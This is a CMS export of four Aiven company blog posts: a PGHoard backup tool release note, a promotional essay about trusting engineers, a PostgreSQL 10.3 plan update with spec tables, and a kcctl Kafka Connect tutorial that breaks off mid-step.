{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"7FUj03B4INHqLhwM9wLqrH","_rev":"Y1Zuby3sRDA3bPurvuEXua","_type":"post","_updatedAt":"2024-09-25T08:53:13Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"We've just released a new version of [PGHoard](https://github.com/aiven/pghoard), the PostgreSQL cloud backup tool we initially developed for [Aiven](/) and later open sourced.\n\nVersion **1.4.0** comes with the following new features:\n\n* Support for PostgreSQL **9.6 beta3**\n* Support for backing up multiple tablespaces\n* Support for StatsD and Datadog metrics collection\n* Basebackup restoration now shows download progress\n* _Experimental_ new WAL streaming mode **walreceiver**, which reads the write-ahead log data directly from the PostgreSQL server using the streaming replication protocol\n* New status API in the internal REST HTTP server\n\nPlease see [our previous blog post about PGHoard](https://aiven.io/blog/postgresql-cloud-backups-with-pghoard) for more information about the tool and a guide for deploying it.\n\n### Backing up multiple tablespaces\n\nThis is the first version of PGHoard capable of backing up multiple tablespaces. Multiple tablespaces require using the new local-tar backup option for reading files directly from the disk instead of streaming them using pg_basebackup as pg_basebackup doesn't currently allow streaming multiple tablespaces without writing them to the local filesystem.\n\nThe current version of PGHoard can utilize the local-tar backup mode only on a PG master server, PostgreSQL versions prior to 9.6 don't allow users to run the necessary control commands on a standby server without using the [pgespresso extension](https://github.com/2ndquadrant-it/pgespresso). pgespresso also required fixes which we contributed to support multiple tablespaces - once a fixed version has been released we'll add support for it to PGHoard.\n\nThe next version of PGHoard, due out by the time of PostgreSQL 9.6 final release, will support local-tar backups from standby servers, natively when running 9.6 and using the pgespresso extension when running older versions with the latest version of the extension.\n\nA future version of PGHoard will support backing up and restoring PostgreSQL basebackups in parallel mode when using the local-tar mode.  This will greatly reduce the time required for setting up a new standby server or restoring a system from backups.\n\n### Streaming replication support\n\nThis version adds _experimental_ support for reading PostgreSQL's write-ahead log directly from the server using the streaming replication protocol which is also used by PostgreSQL's native replication and related tools such as pg_basebackup and pg_receivexlog. The functionality currently depends on [an unmerged psycopg2 pull request](https://github.com/psycopg/psycopg2/pull/322) which we hope to see land in a psycopg2 release soon.\n\nWhile the walreceiver mode is still experimental it has a number of benefits over other methods of backing up the WAL and allows implementing new features in the future: temporary, uncompressed, files as written by pg_receivexlog are no longer needed saving disk space and I/O and incomplete WAL segments can be archived at specified intervals or, for example, whenever a new COMMIT appears in the WAL stream.\n\n### New contributors\n\nThe following people contributed their first patches to PGHoard in this release:\n\n* Brad Durrow\n* Tarvi Pillessaar\n\n### PGHoard in Aiven.io\n\nWe're happy to talk more about PGHoard and help you set up your backups with it.  You can also sign up for a free trial of our [aiven.io PostgreSQL](https://aiven.io/postgresql) service where PGHoard will take care of your backups.\n\n\n## Further reading\n\n- [Datadog meets Aiven](https://aiven.io/blog/datadog-meets-aiven)","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"publishedAt":"2016-07-22T11:32:00.000Z","seo":{"metaDescription":"Our open-source PGHoard’s latest version is now available. Find out what new features were added and how to get the most out of it.","metaImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"metaTitle":"Backing up tablespaces and streaming WAL with PGHoard"},"slug":{"_type":"slug","current":"/blog/pghoard-tablespaces-wal-stream"},"subtitle":"Our open-source PGHoard’s latest version is now available. Find out what new features were added and how to get the most out of it.","title":"Backing up tablespaces and streaming WAL with PGHoard"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"3MggLA9OLDbYdLjn5eZSx6","_rev":"Y1Zuby3sRDA3bPurvuEnl2","_type":"post","_updatedAt":"2024-09-25T08:54:47Z","authors":[{"_key":"4bjROiZe7tEB4RqqZBX36k","_ref":"4bjROiZe7tEB4RqqZBX36k","_type":"reference"}],"body":"I spent the majority of my career at MIT Lincoln Laboratory, where I worked on many classified, large scale data problems for various government agencies including the NSA, CIA and DARPA. \n\nI then went into the public retail sector for a bit to ensure I didn’t miss the cloud wave. After that, I landed at a large financial firm in the midst of a migration from on-premises to the cloud. While there, I got a call from an Aiven recruiter:\n\n*“Hey you have experience with all the technologies that we offer, would you be interested in being a Solution Architect in Sales?” \n“Sales? I’m an engineer, are you sure you got the right guy?”\n“Yes.”\n“Do I need to support the software? Do I get paged on weekends?”\n“No.”\n“Then sign me up twice!”*\n\nAnd that is how I stumbled into being a Pre-Sales Solution Architect. And let me tell you, I absolutely love it! Talking with engineers every day and helping them become successful by empathizing with similar experiences is simply awesome.\n\nUsually I find myself talking about the building and optimizing of data infrastructure, or different strategies for security, hybrid and multi-cloud. This time, however, I want to change it up a bit.\n\nWhile all of the above are important aspects of an organization's cloud strategy, you can’t get any of them accomplished without people and empowering them with the right tools. Let’s talk about *that*.\n\n## Building Trust\n\nThere’s a Nike slogan from the early 1990’s (showing my age here) for the Air Huarache sneaker: \"Have you hugged your foot today?\" Since sometimes we take our feet for granted, why not show them a bit of love by buying these sneakers?\n\nBut what does a shoe ad about feet-hugging have to do with the cloud? How can this relate to organizations? Cloud services? People?\n\nWhat I’m about to say is not novel, but some organizations need to learn this. And some just need a gentle reminder from time to time.\n\nAll too often companies have gone out, executed a lengthy recruitment process, and done all of their due diligence to hire staff that are the best at what they do. Companies trust engineers and architects to write code and build systems that create value for their customers, and drive company revenue and shareholder value.\n\nBut why is it so often the case that engineers are not included or trusted when procuring the software or services that they will use every day? Or worse yet, are forced to use software that management has purchased without any input from them? I’m sure that at least some of you are nodding right now.\n\n__Trust your engineers and architects!__ They intrinsically have the company's best interests in mind. \n\nSpeaking from experience, as an engineer and architect, it was always my goal to build robust software that didn’t page me on nights and weekends. I wasn’t out to use the latest gimmick or buzzword of the day. But I was always looking for the right tool for the job, because it created stability for me, my teams, my customers and my organization.\n\nI wanted to ensure that my nights and weekends were spent with friends and family, not hunkered over a keyboard looking at stacktraces. I feel most engineers can empathize with my position, and want to use technology that makes their lives easier, more stable and allow them to get the job done in a consistent and repeatable fashion.\n\nI challenge you to continue to give that trust to your engineers and architects, ensuring they feel __valued__ at your company. \n\nSo, back to “Have you hugged your foot today”. I’m not going to ask you to hug an engineer, but I will ask you to ponder the question: “Have I trusted my engineers today?”\n## Open Source Trends\n\nIn 2021, our industry saw an inflection point when open source systems became more popular than commercial proprietary systems. More than 80% of enterprises are choosing Apache Kafka over an alternative commercial streaming service. Wow!\n\nThis isn’t a fly by night trend that companies are jumping onto open source technologies, but rather a trend that has been slow and methodically __becoming a bedrock of our industry__.\n\nAiven offers 100% open source managed databases as a service (DBaaS) with no proprietary hooks. This means that what we offer is the exact same code that you could download and stand up in your own on-premises environment or cloud account, except you don’t have to.\n\nWouldn’t you want to put your faith and trust in a company that was born out of these trends?\n\n## Aiven open source House of Services\n\nThe Aiven open source House of Services offers all of these services supporting various use cases such as stream, OLTP, caching, NoSQL, time-series and large scale analytics. Aiven can support all of your use cases under one roof with tools such as Kafka, Flink, PostgreSQL, Redis and now Clickhouse.\n\nAiven has built a consistent platform for deploying and managing all of these services across 5 cloud vendors (AWS, GCP, Azure, Digital Ocean, UpCloud) allowing for over 120 regions around the globe.\n\nAll services under one roof makes your life easier by combining legal agreements, security assessments and support contracts into one sign-up. \n\nAiven takes care of everything:\n- Setup and provisioning\n- High Availability\n- Security\n- Monitoring \n\nWe make it easy. *Subscribe once. Deploy many. Scale in any direction.* You can scale either individual services or across clouds.\n\n## Building Engineering Value\nAiven can help your company grow. Your organization will be placing intrinsic trust in Aiven for your critical business needs, and Aiven will be with you every step of the way.\n\nAs a side note, I always find it funny how organizations list buildings, computers, and furniture as assets on their balance sheets, but nobody ever lists their data as an “asset” on their balance sheet. Are you kidding me? Where would you be without your data? Aiven fully understands that data is the lifeblood of a business and completely understands the trust you place in us. \n\nAs a company that was founded 6 years by 4 friends with engineering backgrounds, Aiven knows where your engineers are coming from. We’ve been in those same trenches. Aiven practices what we preach and this is why companies such as Activision Blizzard, Priceline, Toyota, and the Government of the UK, have all chosen Aiven.\n\nSo, we know what it takes to build successful engineering projects from the ground up. We built Aiven!\n\n## Aiven up your engineers\nAiven allows your engineers to do their best work in all ways.\n\n### Rapid prototyping - fail fast\nNot sure if Apache Flink will meet your Analytic Streaming needs? No need to spend 2-3 weeks learning how to install and harden a Flink deployment, simply spin up a Flink service in Aiven and within minutes you will be writing SQL statements against your live data streaming through Kafka. This allows you to make decisions quickly, yet be diligent at the same time.\n\n### Consistency across services is paramount within Aiven\nBy providing a consistent REST, Terraform, CLI and console interface for all services that we provide, across cloud and regions. No more worrying about what types of VM’s and disks to purchase from cloud providers to run Kafka, Aiven does this for you. This allows your organization to consistently grow by building common capabilities across teams.\nIn addition, with so many proprietary cloud services per cloud vendor, how do you ensure a consistent SLA in a mutli-cloud environment? We do it for you by providing a single public SLA for all services no matter where you deploy them.\n\n### Add business value\nSpend time on business problems, not hardening infrastructure.\nBuilding on the Flink example, engineers can now iterate on adding value without having to worry about the arduous task of maintaining systems under ever increasing load. Do you really want to worry if your system will fail under the stress of Cyber Monday? Of course not! Aiven services will scale to meet your demands.\n\nSimply put, Aiven lets you get the *important* things DONE!\n## Aiven: A developer focused platform\nSo how does this all tie back to the idea of *trust and value*?\n\nWell, with Aiven, you are going to have a wide range of tactical benefits to build value within your business, technical differences that make everyone’s lives a bit better.\n### 100% open source - no strings attached\nAiven allows you to get the best of the cloud, as many eyes make all bugs small.\n\nAiven contributes back upstream: nearly 4% of our workforce is solely dedicated to giving back and contributing to open source projects. And not just the projects that we offer but a wide variety.\n### Predictable TCO with stable 100% all inclusive pricing\nRead my lips: No Networking Cost for ingress or egress traffic EVER.\n\nAiven only charges for computation, RAM and storage, so your services can have a consistent TCO month over month.\n\nGone are the days of having to figure out what are your expected IOPS or network throughput for a system that you haven’t even built yet.\n### Enterprise grade services at no extra cost\nAll Aiven services have High Availability, no downtime for upgrades, downgrades, or patching, and simple 1 click migration across clouds. All this is included by default with every Aiven service.\n\nBecause we do not charge for networking, cross-cloud disaster recovery (DR) strategies are now reality. You can be multi-cloud right out of the gate with Aiven from day one with a consistent TCO.\n\nExternal integration such as [Datadog](https://help.aiven.io/en/articles/1759208-getting-started-with-datadog \"Getting started with Datadog | Aiven help\") and [Prometheus](https://help.aiven.io/en/articles/2473061-using-aiven-with-prometheus \"Using Aiven with Prometheus | Aiven help\"), as well as [GCP Cloud Logging](https://help.aiven.io/en/articles/4209837-sending-service-logs-to-google-cloud-logging \"Sending service logs to Google Cloud Logging | Aiven help\") are some of the endpoints that allow you to integrate into your existing ecosystem. Again all of this is accomplished with zero egress networking costs.\n\n100% consistent automation across all services, clouds and regions is accomplished with Terraform, Kubernetes and REST APIs. This allows for simple infrastructure as code for auditing and ease of use by only having to learn one platform.\n\n### Empowered Engineers and DevOPS personnel\nWe have heard from our customers over and over again that Aiven also fosters happy engineers, because they can work on a consistent platform, producing more value to your business.\n\nWhen they are empowered and consulted in larger decisions, engineering staffs feel valued, cultivating higher productivity and innovation \n\nAiven makes developers’ lives better, one engineer at a time.\n### Dedicated VPC Peering\nI want to give a simple explanation to one of the security postures that Aiven offers. As we have heard, cloud providers have formidable IAM capabilities, challenging even the most expert security engineers to avoid introducing security holes into your organization.\n\nAiven provides simple, yet robust, security strategies supporting public endpoints and BYOC, all the way to HIPAA and PCI enhanced security environments. \n\n![Building trust with engineers diagram](//cdn.sanity.io/images/sczeoy4w/production/6bbb167edba16e08a9a63e8117bbfc8206d64e78-2500x1437.png \"Deployment with Aiven and VPC Peering with firewall.\")\n\nThis diagram depicts our most standard deployment that our customers use which is VPC Peering. In addition, this diagram shows an optional firewall per service allowing connectivity along both the VPC peered network (center of diagram) as well as a whitelist of IP addresses for data sources outside the VPC. \n\nAiven makes this complex networking setup simple to configure: systems external to the VPC, like IOT sensors, can publish information directly to your Aiven services.\n\n### Aiven builds solutions\nAiven offers the best open source tools to build solutions for your business. As the open source trend in the industry continues, we are seeing more and more open source frameworks coming out today that rely on integration with persistence, metrics or logging tools. \n\nWhy choose an open source framework yet use proprietary infrastructure? Does that really make sense? I don’t think it does.\n\nAs an example, Wordpress can be easily configured to point at an [Aiven for MySQL](https://aiven.io/mysql \"Aiven for MySQL product page\") and [Aiven for Caching](https://aiven.io/caching \"Aiven for Caching product page\") services for tracking users and caching content. Additionally, add monitoring of your Aiven services with [Aiven for M3](https://aiven.io/m3 \"Aiven for M3 product page\") + [Aiven for Grafana](https://aiven.io/grafana \"Aiven for Grafana product page\") to ensure that your services are always running healthy and meeting your customers demands.\n\n![Aiven and Temporal](//cdn.sanity.io/images/sczeoy4w/production/5e10496a7208d3e640c03d0f5759256bec347b76-2500x2500.png \"Aiven and Temporal\")\n\nOne of the newer kids on the block to open source software is the [Temporal.io framework](https://aiven.io/blog/just-plug-it-in-aiven-and-temporal \"Just plug it in - Aiven \u0026 Temporal | Aiven blog\"). This framework offers a microservice orchestration platform for managing modern workflow applications. Temporal requires state persistence, monitoring and logging. With simple integration with Aiven services such as [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\"), Aiven for M3 and [Aiven for OpenSearch](https://aiven.io/opensearch \"Aiven for OpenSearch product page\"), you have immediately built a robust data infrastructure for persisting Temporal workflows. \n\nImagine having to set up and manage all of this infrastructure on your own, harden it and scale it as your workflow grows? No thanks, let [Aiven’s Terraform providers](https://github.com/aiven/terraform-provider-aiven/releases \"Aiven Terraform provider | GitHub\") do this for all of your integrated solutions.\n\n::banner[Optimizing cloud infrastructure can not only save you money, but also improve efficiency and support business growth. ]{ctaText=\"Read more on optimizing your cloud spend\" ctaLink=\"https://landing.aiven.io/optimize-your-cloud-costs-with-aiven-data-platform/\" title=\"Optimize your cloud costs with Aiven’s data platform\" theme=\"light\"}\n\n## Aiven can be your data cloud\nI hope that you have learned that Aiven is a world class provider of managed services and that we take great pride in putting your engineers' experience and your data at the core of our company's values, all the while giving back to the open source community. \n\n### P.S.\nGo to [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\") for a free trial with $300 in credits. Happy architecting!\n\n### P.P.S\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [Life after the GOV.UK PaaS](https://aiven.io/blog/life-after-the-gov-uk-paas)\n- [Aiven for PostgreSQL® available in DigitalOcean](https://aiven.io/blog/support-for-digitalocean-added-to-aiven)","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-31e28793e6b30061dcde25d59872f1f9ed9df717-1567x844-png","_type":"reference"}},"publishedAt":"2022-02-24T00:00:00.000Z","seo":{"metaDescription":"Jason Hepp tells you about how Aiven provides intrinsic trust and value in your organization. Find out what hugging your feet has to do with it!","metaImage":{"alt":"","asset":{"_ref":"image-31e28793e6b30061dcde25d59872f1f9ed9df717-1567x844-png","_type":"reference"}},"metaTitle":"Create trust and value with Aiven"},"slug":{"_type":"slug","current":"/blog/create-trust-and-value-with-aiven"},"subtitle":"Jason Hepp tells you about how Aiven provides intrinsic trust and value in your organization. Find out what hugging your feet has to do with it!","title":"Create trust and value with Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6N4h4Res0iJSEgzCyMheU5","_rev":"0bD0yWvurDucdXi3F3IbN9","_type":"post","_updatedAt":"2024-09-25T08:56:31Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"In our latest update to Aiven for PostgreSQL, we've released version 10.3., added new features that will further increase its functionality, and added two new larger PostgreSQL plans.\n\nLet's first take a high-level view of PostgreSQL 10.3. before we dive into our new features and standard plans.\n\n## What's new with PostgreSQL 10.3.\n\nAs with most minor releases, PostgreSQL 10.3. focused on security and bug fixes. In total, __the latest release addressed a security issue related to trojan-horse attacks and a few bug fixes__.\n\nYou can visit the [PostgreSQL site](https://www.postgresql.org/docs/10/release-10-3.html) for the exhaustive list.\n\nThe key takeaway for Aiven customers is that our timely support for PG 10.3. is just part and parcel of our commitment to providing the most complete and secure service versions.\n\n## What's new with Aiven for PostgreSQL\n\nLikewise, we work tirelessly to increase the functionality of our services so that they're in step with the evolving data environment and provide maximum value.\n\nThe below updates center around improvements in Aiven for PostgreSQL's time-series performance, use as a geographically distributed database, and value proposition.\n\n#### 1. Support for TimescaleDB\n\u003cbr\u003e\nBuilding off of the strengths of Postgres, TimescaleDB overcomes SQL's time-series limitations by promising to increase performance and make manipulation vastly easier.\n\nIn short, it increases the functionality of Aiven for PostgreSQL and provides an open-source alternative to closed- and mixed-source offerings.\n\nThat's why we've decided to become the __first DBaaS to provide support for this extension__. We're still working on the documentation; but in the meantime, feel free to contact [Aiven support](mailto:support@aiven.io) with any questions.\n\n#### 2. Geo-distributed Read Replica [Preview]\n\u003cbr\u003e\nAlthough we provide replication in our high-availability plans, we wanted to extend the capability for enterprise-level customers operating in multiple regions who need to be able to __read standby nodes with minimal latency__.\n\nOther noteworthy characteristics of this feature include the ability to change the replica to a master node in the event of failure and that read throughput can be increased linearly as more nodes are added.\n\nCurrently accessible through our command-line client, we'll be adding the feature to our console within the upcoming weeks. In the meantime, reach out to [Aiven support](mailto:support@aiven.io) for more information.\n\n#### 3. Reduced the price of Aiven plans in AWS and DigitalOcean\n\u003cbr\u003e\nAWS and DigitalOcean have reduced their infrastructure costs, in turn saving us money. It only seemed fair to pass the savings onto our customers!\n\nThe result? Significantly reduced prices for our Start-8 and above plans. In fact, __we were able to reduce the prices of some plans by up to 40%!__\n\n## Business and Premium plan extension\n\nAs you may know, we offer custom plans for customers whose needs exceed what our standard plans can cover.\n\nWhile we're happy to build custom plans, __our focus is on standard plans that can be launched immediately__,\nwhich is why we've extended our Aiven PostgreSQL Startup, Business and Premium plans.\n\n\u003ctable cellpadding=\"8\" cellspacing=\"0\" frame=\"hsides\" style=\"font-family: maven pro, sans serif; width: 100%;\"\u003e\n\n\u003ctr align=\"center\" style=\"font-size: 20px; font-weight: bold;\"\u003e\n\n\u003cth colspan=\"5\"\u003eGoogle Cloud Platform\u003c/th\u003e\n\n\u003c/tr\u003e\n\n\u003ctr style=\"font-size: 15px;\"\u003e\n\n\u003cth\u003ePlan\u003c/th\u003e\n\n\u003cth\u003eDedicated VMs\u003c/th\u003e\n\n\u003cth\u003eCPUs per VM\u003c/th\u003e\n\n\u003cth\u003eRAM per VM\u003c/th\u003e\n\n\u003cth\u003eDisk space\u003c/th\u003e\n\n\u003c/tr\u003e\n\n\u003ctr align=\"center\" style=\"background: #eee;\"\u003e\n\n\u003ctd style=\"font-weight: bold;\"\u003eStartup-360\u003c/td\u003e\n\n\u003ctd\u003e1\u003c/td\u003e\n\n\u003ctd\u003e96\u003c/td\u003e\n\n\u003ctd\u003e360 GB\u003c/td\u003e\n\n\u003ctd\u003e2980 GB\u003c/td\u003e\n\n\u003c/tr\u003e\n\n\u003ctr align=\"center\"\u003e\n\n\u003ctd style=\"font-weight: bold;\"\u003eBusiness-360\u003c/td\u003e\n\n\u003ctd\u003e2\u003c/td\u003e\n\n\u003ctd\u003e96\u003c/td\u003e\n\n\u003ctd\u003e360 GB\u003c/td\u003e\n\n\u003ctd\u003e2980 GB\u003c/td\u003e\n\n\u003c/tr\u003e\n\n\u003ctr align=\"center\" style=\"background: #eee;\"\u003e\n\n\u003ctd style=\"font-weight: bold;\"\u003ePremium-360\u003c/td\u003e\n\n\u003ctd\u003e3\u003c/td\u003e\n\n\u003ctd\u003e96\u003c/td\u003e\n\n\u003ctd\u003e360 GB\u003c/td\u003e\n\n\u003ctd\u003e2980 GB\u003c/td\u003e\n\n\u003c/tr\u003e\n\n\u003c/table\u003e\n\n\u003cbr\u003e\n\n\u003ctable cellpadding=\"8\" cellspacing=\"0\" frame=\"hsides\" style=\"font-family: Maven Pro, sans serif; width: 100%;\"\u003e\n\n\u003ctbody\u003e\n\n\u003ctr align=\"center;\" style=\"font-size: 20px; font-weight: bold;\"\u003e\n\n\u003cth colspan=\"5\"\u003eAmazon Web Services\u003c/th\u003e\n\n\u003c/tr\u003e\n\n\u003ctr style=\"font-size: 15px;\"\u003e\n\n\u003cth\u003ePlan\u003c/th\u003e\n\n\u003cth\u003eDedicated VMs\u003c/th\u003e\n\n\u003cth\u003eCPUs per VM\u003c/th\u003e\n\n\u003cth\u003eRAM per VM\u003c/th\u003e\n\n\u003cth\u003eDisk space\u003c/th\u003e\n\n\u003c/tr\u003e\n\n\u003c/tbody\u003e\n\n\u003ctbody\u003e\n\n\u003ctr align=\"center\" style=\"background: #eee;\"\u003e\n\n\u003ctd style=\"font-weight: bold;\"\u003eStartup-480\u003c/td\u003e\n\n\u003ctd\u003e1\u003c/td\u003e\n\n\u003ctd\u003e64\u003c/td\u003e\n\n\u003ctd\u003e488 GB\u003c/td\u003e\n\n\u003ctd\u003e7200 GB\u003c/td\u003e\n\n\u003c/tr\u003e\n\n\u003ctr align=\"center\"\u003e\n\n\u003ctd style=\"font-weight: bold;\"\u003eBusiness-480\u003c/td\u003e\n\n\u003ctd\u003e2\u003c/td\u003e\n\n\u003ctd\u003e64\u003c/td\u003e\n\n\u003ctd\u003e488 GB\u003c/td\u003e\n\n\u003ctd\u003e7200 GB\u003c/td\u003e\n\n\u003c/tr\u003e\n\n\u003ctr align=\"center\" style=\"background: #eee;\"\u003e\n\n\u003ctd style=\"font-weight: bold;\"\u003ePremium-480\u003c/td\u003e\n\n\u003ctd\u003e3\u003c/td\u003e\n\n\u003ctd\u003e64\u003c/td\u003e\n\n\u003ctd\u003e488 GB\u003c/td\u003e\n\n\u003ctd\u003e7200 GB\u003c/td\u003e\n\n\u003c/tr\u003e\n\n\u003c/tbody\u003e\n\n\u003c/table\u003e\n\n\u003cspan style=\"font-size: small;\"\u003e\\*Plan specs depend on cloud and region.\u003c/span\u003e\n\n## Wrapping up\n\nAs we indicated in our [Aiven 2.0](https://aiven.io/blog/time-to-take-stock-as-aiven-goes-2) post, we'll strive to set and increase our pace over 2018 and beyond as we focus on expanding and refining our services.\n\nThat said, our focus will always be on ensuring security through timely version changes and working on feature sets that reflect the current and future needs of our customers.\n\nWe'll be moving fast, but you can keep up with us by subscribing to our [blog](https://aiven.io/blog/feed.xml) and [changelog](https://aiven.io/changelog/feed.xml) RSS feeds. Talk to you soon!\n\n\n## Further reading\n\n- [Aiven for PostgreSQL® available in DigitalOcean](https://aiven.io/blog/support-for-digitalocean-added-to-aiven)\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-80d8602d05b7a493c00543138b77075017e5ce6f-752x405-png","_type":"reference"}},"publishedAt":"2018-03-01T00:00:00.000Z","seo":{"metaDescription":"From offering TimescaleDB to lowering our prices in AWS and DigitalOcean, our PostgreSQL has undergone a few changes. Learn more here.","metaImage":{"alt":"","asset":{"_ref":"image-80d8602d05b7a493c00543138b77075017e5ce6f-752x405-png","_type":"reference"}},"metaTitle":"Aiven for PostgreSQL® gets latest update, new features, and plan sizes"},"slug":{"_type":"slug","current":"/blog/aiven-postgresql-gets-latest-update-and-new-features"},"subtitle":"From offering TimescaleDB to lowering our prices in AWS and DigitalOcean, our PostgreSQL has undergone a few changes. Learn more here.","title":"Aiven for PostgreSQL® gets latest update, new features, and plan sizes"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"416nMKY0qTdqgpEQP114Ks","_rev":"0bD0yWvurDucdXi3F3J95Y","_type":"post","_updatedAt":"2024-09-25T09:01:04Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"Apache Kafka is widely used as a company data backbone with Kafka Connect acting as a bridge. This way Kafka can be integrated with other technologies easily, reliably and scalably. The [Kafka Connect REST APIs](https://kafka.apache.org/documentation.html#connect_rest) provide a way to manage connectors via web calls, but crafting URLs on a terminal can sometimes be tricky.\n\nIn this blog post we explore [kcctl](https://github.com/kcctl/kcctl), a new open source command line tool for Kafka Connect. You'll find out how to integrate it with Apache Kafka and manage connections to other systems.\n\nAiven offers similar functionality with the [Aiven Command Line Interface](https://github.com/aiven/aiven-client). You can use the CLI to create, drop, change, verify, pause and restore any Kafka Connect connector running on Aiven services. If all your Kafka Connect instances are Aiven services, then the Aiven command line interface is all you need. \n\nBut if you want to use the same tool for any Kafka Connect instance, be it on-premises, on Aiven, or in other cloud providers, then kcctl is your friend.\n\n## Create an Apache Kafka instance with Kafka Connect\nTo start following the process in this article, make sure you already have an Apache Kafka environment with Kafka Connect up and running. If you don't have one, don't worry: Aiven can provide one in minutes. Just create one in the Aiven Console, or in the [Aiven Command Line Interface](https://github.com/aiven/aiven-client) with the following command:\n\n```\navn service create demo-kafka \\\n --service-type kafka \\\n --cloud google-europe-west3 \\\n --plan business-4 \\\n -c kafka_connect=true \\\n -c kafka.auto_create_topics_enable=true \n```\n\nThis command creates an Aiven for Apache Kafka cluster named `demo-kafka` with three nodes (using the `business-4` plan), in the `google-europe-west3` region and enables the automatic creation of topics and Kafka Connect. With Aiven, you can deploy Kafka Connect as part of your Kafka cluster for business and premium plans, or as a separate, standalone cluster. To read more about Aiven for Apache Kafka and related Kafka Connect topics, check out the [dedicated page](https://aiven.io/kafka-connect).\n\nLet's wait until the service is ready:\n\n```\navn service wait demo-kafka\n```\n\n## Install `kcctl`\n\nAt the time of writing, `kcctl` is an early access release. The current set of installation instructions can be found in its [GitHub repository](https://github.com/kcctl/kcctl#installation).\n\nOnce `kcctl` is installed, test that it's working in the terminal by adding the `bin` subdirectory to `PATH` and executing:\n\n```bash\nkcctl\n```\n\nIf we did everything correctly, then we should see the usage information. Now it's time to connect to our Kafka Connect cluster.\n\n## Connect\n\nIn order to plug in to Kafka Connect, first retrieve the cluster URL, which can be found using the via Aiven CLI and [jq](https://stedolan.github.io/jq/manual/), to parse the JSON output:\n\n```bash\navn service get demo-kafka --json | jq '.connection_info.kafka_connect_uri'\n```\n\nNow create a `kcctl` configuration context by executing the following command, replacing the `cluster` parameter accordingly.\n\n```bash\nkcctl config set-context \\\n --cluster https://avnadmin:PASSWORD@demo-kafka-\u003cPROJECT_NAME\u003e.aivencloud.com:443 \\\n my_kafka_cluster\n```\n\nThe above creates a context named `my_kafka_cluster` pointing to the `demo-kafka` instance. To verify the configuration:\n\n```bash\nkcctl info\n```\nThis retrieves its definition of the current `kcctl` configuration context:\n\n```\nURL: https://avnadmin:PASSWORD@demo-kafka-\u003cPROJECT_NAME\u003e.aivencloud.com:443\nVersion: 2.7.2-SNAPSHOT\nCommit: d15ddddd3ef3f5ef\nKafka Cluster ID: -DvILyiXQxSpnFSK9M1qgQ\n```\n\n## Create a data source in PostgreSQL\n\nTo see the connectors in action, create a PostgreSQL database and configure a [Kafka Connect JDBC source connector](https://aiven.io/blog/using-kafka-connect-jdbc-source-a-postgresql-example) to bring the data into Kafka. The connector takes data from a table named `pasta` stored in a PostgreSQL database and includes it in a Kafka topic. \n\nIf you don't have a PostgreSQL database handy, you can create one at Aiven with the following [Aiven CLI](https://github.com/aiven/aiven-client) command:\n\n```bash\navn service create demo-pg \\\n --service-type pg \\\n --cloud google-europe-west3 \\\n --plan hobbyist\n```\n\nOnce the `demo-pg` PostgreSQL instance is up and running (use `avn service wait demo-pg` to wait for it), connect to it:\n\n```bash\navn service cli demo-pg\n```\n\nNow create a sample `pasta` table and fill it with data, using the following statements in our terminal:\n\n```sql\ncreate table pasta (id serial, name varchar, cooking_minutes int);\ninsert into pasta (name, cooking_minutes) values ('spaghetti', 8);\ninsert into pasta (name, cooking_minutes) values ('spaghettini', 6);\ninsert into pasta (name, cooking_minutes) values ('fusilli', 9);\ninsert into pasta (name, cooking_minutes) values ('trofie', 5);\n```\n\n## Create a new Kafka Connect connector\n\nOnce the source data is available, create the Kafka Connect JDBC source connector, sourcing in `incremental` mode the `pasta` table based on the `id` column. To get the required PostgreSQL connection details such as hostname, port, user and password, use this command:\n\n```\navn service get demo-pg --format '{service_uri_params}'\n```\n\nCreate a file named `my_jdbc_connect_source.json` with the following JSON content (substituting the `\u003cHOST\u003e`, `\u003cPORT\u003e` and `\u003cPASSWORD\u003e` with the actual information retrieved in the previous step):\n\n```json\n{\n \"connector.class\": \"io.aiven.connect.jdbc.JdbcSourceConnector\",\n \"connection.url\": \"jdbc:postgresql://\u003cHOST\u003e:\u003cPORT\u003e/defaultdb?sslmode=require\",\n \"connection.user\": \"avnadmin\",\n \"connection.password\": \"\u003cPASSWORD\u003e\",\n \"table.whitelist\": \"pasta\",\n \"mode\": \"incrementing\",\n \"incrementing.column.name\":\"id\",\n \"poll.interval.ms\": \"2000\",\n \"topic.prefix\": \"pg_source_\"\n}\n```\n\nNow invoke the connector creation via `kcctl` in a new terminal window:\n\n```bash\nkcctl apply -f my_jdbc_connect_source.json --name pg-incremental-source\n```\n\nVerify that the connector was successfully 